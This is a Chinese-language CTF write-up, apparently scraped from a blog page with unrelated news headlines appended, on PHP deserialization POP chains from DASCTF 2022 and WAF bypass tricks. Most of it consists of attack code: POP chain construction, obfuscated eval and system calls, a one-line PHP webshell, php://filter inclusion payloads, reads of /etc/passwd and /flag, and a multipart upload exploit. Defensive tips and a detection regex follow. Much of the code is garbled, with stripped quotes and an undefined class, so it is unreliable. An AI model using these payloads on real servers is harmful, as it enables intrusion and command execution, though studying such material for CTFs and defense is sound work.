DASCTF 2022 Web 漏洞利用:PHP 反序列化 POP 链构造与 WAF 绕过 3 种方法 PHP反序列化漏洞实战从POP链构造到WAF绕过的三重攻击路径1. 漏洞背景与核心概念PHP反序列化漏洞长期以来都是Web安全领域的重点攻击向量其危害性在于能够通过精心构造的序列化数据触发非预期的对象行为链。理解这类漏洞需要掌握三个核心概念序列化与反序列化机制PHP通过serialize()将对象转换为可存储的字符串表示unserialize()则执行逆向操作。当反序列化用户可控数据时若类中存在魔术方法如__wakeup、__destruct等攻击者可通过控制对象属性来操纵程序执行流。POP链Property-Oriented Programming通过串联多个类的魔术方法调用形成的攻击链。典型触发路径__destruct() - __toString() - __invoke() - 危险方法WAF绕过技术现代WAF通常采用关键词黑名单机制常见绕过手段包括大小写变异如SyStEm注释符截断eval/*注释*/()伪协议封装php://filter2. 反序列化利用链构造实战以DASCTF 2022的ezpop题目为例我们分析完整POP链构建过程2.1 源码审计与链式调用分析目标代码中存在以下关键类结构class Crow { public $v1; public function __invoke() { $this-v1-custom_method(); } } class Fin { public $f1; public function __destruct() { echo $this-f1; } public function __call($name, $args) { call_user_func($this-f1); } } class Mix { public $m1; public function run() { include($this-m1); } public function get_flag() { system(/readflag); } }2.2 分步构造POP链触发起点选择Fin::__destruct作为入口点该魔术方法在对象销毁时自动调用$fin new Fin();字符串转换跳板设置f1为What类实例触发__toString$what new What(); $fin-f1 $what; // 触发__toString方法调用中转通过Mix::run作为中间跳板$mix new Mix(); $what-a $mix; // __toString中调用run()最终执行点Crow::__invoke触发命令执行$crow new Crow(); $mix-m1 $crow; // run()中触发__invoke $crow-v1 $mix; // __invoke中调用get_flag()完整利用代码$mix new Mix(); $crow new Crow($mix); $mix-m1 $crow; $what new What($mix); $fin new Fin($what); echo serialize($fin);2.3 可视化调用流程graph TD A[__destruct] -- B[__toString] B -- C[run] C -- D[__invoke] D -- E[__call] E -- F[get_flag]3. WAF绕过三重技巧3.1 注释符截断法当遇到eval函数过滤时利用PHP解析特性// 原始攻击代码 eval(system(whoami);); // 绕过变形 eval/*WAFbypass*/($_GET[1]);实战应用class Bypass { public $code system/*注释*/(cat /*更多注释*/ /etc/passwd);; public function __toString() { eval(explode(/*, $this-code)[0]); } }3.2 大小写变异技术针对strstr等简单字符串检测// 黑名单检测 if(strstr($input, system)) die(Blocked!); // 有效载荷 SyStEm(id); PhPInFo();复合变形方案$cmd strtolower($_POST[cmd]) id ? sYstEm : pAsstHru; $cmd($_POST[arg]);3.3 伪协议封装技术利用php://filter绕过内容检查场景1Base64编码绕过// 常规文件包含 include($_GET[file]); // 检测.php后缀 // 绕过方案 include(php://filter/convert.base64-encode/resourceupload/evil.jpg);场景2多重编码嵌套$payload base64_encode(?php system($_GET[0]);?); $final php://filter/convert.base64-decode|convert.base64-decode/resourcedata://text/plain,.$payload;4. 高级绕过动态特征混淆4.1 可变函数名技术$func chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $func(whoami);4.2 反射调用绕过$class new ReflectionClass(System); $method $class-getMethod(main); $method-invokeArgs(null, [[whoami]]);4.3 异或运算生成$xor (^).ystem; $xor(cat /flag);5. 防御方案与最佳实践5.1 安全开发建议输入验证if (!preg_match(/^[a-zA-Z0-9_]$/, $input)) { throw new InvalidArgumentException(Invalid serialized data); }使用安全反序列化$data json_decode($input, true); // 替代unserialize魔术方法防护class SafeClass { private function __wakeup() { // 空实现或权限检查 } }5.2 WAF配置强化规则示例ModSecuritySecRule REQUEST_FILENAME rx \.php$ \ id:1001,\ phase:2,\ t:lowercase,\ msg:PHP Object Injection Attempt,\ chain SecRule ARGS rx (?:__[a-z]__|system|exec|shell_exec) \ ctl:auditLogPartsE5.3 架构级防护防护层级实施措施效果评估网络层限制反序列化端口访问减少攻击面应用层实施HMAC签名验证防数据篡改运行时禁用危险函数列表阻断执行链6. 实战案例upgdstore题目突破6.1 黑名单分析题目过滤了以下关键词$blacklist [eval, system, file, fopen, php://];6.2 分步绕过方案第一阶段文件读取show_source(base64_decode(aW5kZXgucGhw));第二阶段伪协议利用include(PHP://filter/convert.base64-encode/resourceuploads/evil.jpg);最终突破$a strtoupper(php); include($a.://input);完整攻击链POST /upload.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenameexploit.jpg Content-Type: image/jpeg ?php Include(base64_decode(cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2ZsYWc));?7. 自动化测试工具链7.1 推荐工具集工具名称用途项目地址PHPGGCPOP链生成github.com/ambionics/phpggcRIPS静态分析rips-scanner.sourceforge.ioSecLists载荷字典github.com/danielmiessler/SecLists7.2 自定义检测脚本import re def detect_unserialize(code): patterns [ runserialize\([\]\$\w[\]\), r__destruct|__wakeup|__toString ] return any(re.search(p, code) for p in patterns)

相关新闻

最新新闻

用Python做路径分析:从模型设定到可视化的完整实战指南

用Python做路径分析:从模型设定到可视化的完整实战指南

简介:数据分析进阶时,研究者常需厘清变量间的影响链条,探索A如何通过B影响C。路径分析以带箭头的因果图呈现变量关系,是结构方程模型的特例,适用于全观测变量的中介与效应分解。传统点鼠标软件难以满足可复现、批量化的…

2026/8/27 10:43:04
ETX模块:工业计算机长生命周期设计的模块化解决方案

ETX模块:工业计算机长生命周期设计的模块化解决方案

做工业产品最怕什么?不是性能不够,不是竞品太强,而是你辛辛苦苦做完认证、跑完测试、交付给客户,结果CPU厂商一封停产通知,整个产品线就得推倒重来。这个痛点,做嵌入式工控的人应该都有体感。ETX Module这个…

2026/8/27 10:43:04
为什么 try-catch 无法捕获 NoClassDefFoundError

为什么 try-catch 无法捕获 NoClassDefFoundError

public void start(Context context) {try {this.mContext context;QQMusicSDK.INSTANCE.init(context, new QQMusicSDK.SDKConfig());//播放状态变化QQMusicSDK.INSTANCE.getService().subscribePlayStatus(playStatusListener);}catch (Exception e){e.printStackTrace();Lo…

2026/8/27 10:43:04
SST与UMC完成40nm嵌入式闪存认证,拆解SuperFlash技术难点与应用价值

SST与UMC完成40nm嵌入式闪存认证,拆解SuperFlash技术难点与应用价值

在半导体行业待久了,看到这种新闻会下意识停下来多读两遍。“SST and UMC Qualify Flash Tech on 40-nm Process”,一句话浓缩了存储IP厂商和晶圆代工厂之间很长一段时间的双向工程协作。SST做的是嵌入式闪存技术(SuperFlash)&…

2026/8/27 10:43:04
基于LSTM与MATLAB的电力市场电价预测实战指南

基于LSTM与MATLAB的电力市场电价预测实战指南

简介:时间序列预测是数据分析与机器学习领域的核心任务之一,旨在根据历史数据模式预测未来趋势。其原理在于挖掘序列内部的时间依赖关系,传统方法如ARIMA在处理非线性、非平稳序列时存在局限。长短期记忆网络(LSTM)作为…

2026/8/27 10:43:03
基于SpringBoot的凤山水沐温泉酒店管理系统的设计与实现毕业设计项目源码

基于SpringBoot的凤山水沐温泉酒店管理系统的设计与实现毕业设计项目源码

联系博主 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 …

2026/8/27 10:38:03